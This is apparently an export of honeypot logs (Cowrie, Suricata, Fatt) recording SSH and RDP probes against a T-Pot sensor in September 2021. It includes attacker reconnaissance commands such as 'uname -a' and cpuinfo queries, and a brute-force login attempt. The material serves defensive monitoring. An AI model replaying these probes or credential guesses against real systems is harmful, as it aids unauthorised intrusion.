31737	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:22.638869+03	2021-09-20 15:00:02.557716+03	{"_id": "5wYIA3wBvYTbRNuEOEWX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "107.0.200.227", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "4e9d2d017091", "@version": "1", "duration": 0.26698756217956543, "duplicate": true, "timestamp": "2021-09-20T11:47:22.638869Z", "@timestamp": "2021-09-20T11:47:22.638Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31738	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:47:22.33537+03	2021-09-20 15:00:02.559717+03	{"_id": "6wYIA3wBvYTbRNuEOkUw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:47:21.980911+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2124516122294191, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 50140, "dest_port": 3389, "timestamp": "2021-09-20T11:47:22.335370Z", "@timestamp": "2021-09-20T11:47:22.335Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
31739	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:47:22.688206+03	2021-09-20 15:00:02.560717+03	{"_id": "7AYIA3wBvYTbRNuEOkUw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:47:21.980911+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 2124516122294191, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 50140, "dest_port": 3389, "timestamp": "2021-09-20T11:47:22.688206Z", "@timestamp": "2021-09-20T11:47:22.688Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
31740	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:23.913662+03	2021-09-20 15:00:02.561718+03	{"_id": "9gYIA3wBvYTbRNuEQEVp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:23.913662Z", "@timestamp": "2021-09-20T11:47:23.913Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31741	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:25.211393+03	2021-09-20 15:00:02.563716+03	{"_id": "AQYIA3wBvYTbRNuEREZW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "107.0.200.227", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "4e9d2d017091", "@version": "1", "duration": 0.26863551139831543, "duplicate": true, "timestamp": "2021-09-20T11:47:25.211393Z", "@timestamp": "2021-09-20T11:47:25.211Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31742	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:25.489078+03	2021-09-20 15:00:02.564716+03	{"_id": "AgYIA3wBvYTbRNuEREZW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.session.params", "message": [], "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:25.489078Z", "@timestamp": "2021-09-20T11:47:25.489Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31743	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:47:26.049051+03	2021-09-20 15:00:02.565717+03	{"_id": "AwYIA3wBvYTbRNuERkbr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "81.70.175.230", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54898, "timestamp": "2021-09-20T11:47:26.049051", "@timestamp": "2021-09-20T11:47:26.049Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31744	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:26.005512+03	2021-09-20 15:00:02.566716+03	{"_id": "DQYIA3wBvYTbRNuESEY9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:26.005512Z", "@timestamp": "2021-09-20T11:47:26.005Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31745	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:47:26.298826+03	2021-09-20 15:00:02.568717+03	{"_id": "EAYIA3wBvYTbRNuESEY9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "bd6e198d0eed", "@version": "1", "timestamp": "2021-09-20T11:47:26.298826Z", "@timestamp": "2021-09-20T11:47:26.298Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31746	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:26.546369+03	2021-09-20 15:00:02.569718+03	{"_id": "EQYIA3wBvYTbRNuESEY9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.session.params", "message": [], "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:26.546369Z", "@timestamp": "2021-09-20T11:47:26.546Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31747	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:26.546909+03	2021-09-20 15:00:02.571717+03	{"_id": "EgYIA3wBvYTbRNuESEY9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:26.546909Z", "@timestamp": "2021-09-20T11:47:26.546Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31748	81.70.175.230	109.199.241.180	Suricata	2021-09-20 14:47:26.298071+03	2021-09-20 15:00:02.572716+03	{"_id": "EwYIA3wBvYTbRNuESUbT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.70.175.230", "dest_ip": "192.168.20.116", "flow_id": 1926868169992266, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54898, "dest_port": 22, "timestamp": "2021-09-20T11:47:26.298071Z", "@timestamp": "2021-09-20T11:47:26.298Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31749	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:26.811613+03	2021-09-20 15:00:02.573717+03	{"_id": "FQYIA3wBvYTbRNuETEYk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "107.0.200.227", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "4e9d2d017091", "@version": "1", "duration": 0.26535606384277344, "duplicate": true, "timestamp": "2021-09-20T11:47:26.811613Z", "@timestamp": "2021-09-20T11:47:26.811Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31750	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:27.026582+03	2021-09-20 15:00:02.574717+03	{"_id": "FgYIA3wBvYTbRNuETEYk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.session.params", "message": [], "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:27.026582Z", "@timestamp": "2021-09-20T11:47:27.026Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31751	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:27.027121+03	2021-09-20 15:00:02.575717+03	{"_id": "FwYIA3wBvYTbRNuETEYk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:27.027121Z", "@timestamp": "2021-09-20T11:47:27.027Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31752	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:27.292003+03	2021-09-20 15:00:02.576717+03	{"_id": "GAYIA3wBvYTbRNuETEYk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "107.0.200.227", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "4e9d2d017091", "@version": "1", "duration": 0.2655065059661865, "duplicate": true, "timestamp": "2021-09-20T11:47:27.292003Z", "@timestamp": "2021-09-20T11:47:27.292Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31753	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:47:27.398623+03	2021-09-20 15:00:02.578717+03	{"_id": "GQYIA3wBvYTbRNuETEYk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.login.failed", "message": "login attempt [indo/arlindo123] failed", "session": "bd6e198d0eed", "@version": "1", "password": "arlindo123", "username": "indo", "timestamp": "2021-09-20T11:47:27.398623Z", "@timestamp": "2021-09-20T11:47:27.398Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31754	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:27.552166+03	2021-09-20 15:00:02.579716+03	{"_id": "GgYIA3wBvYTbRNuETEYk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.session.params", "message": [], "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:27.552166Z", "@timestamp": "2021-09-20T11:47:27.552Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31755	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:27.552702+03	2021-09-20 15:00:02.580717+03	{"_id": "GwYIA3wBvYTbRNuETEYk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:27.552702Z", "@timestamp": "2021-09-20T11:47:27.552Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31756	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:27.816739+03	2021-09-20 15:00:02.581716+03	{"_id": "HAYIA3wBvYTbRNuEUEYM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "107.0.200.227", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "4e9d2d017091", "@version": "1", "duration": 0.26470255851745605, "duplicate": true, "timestamp": 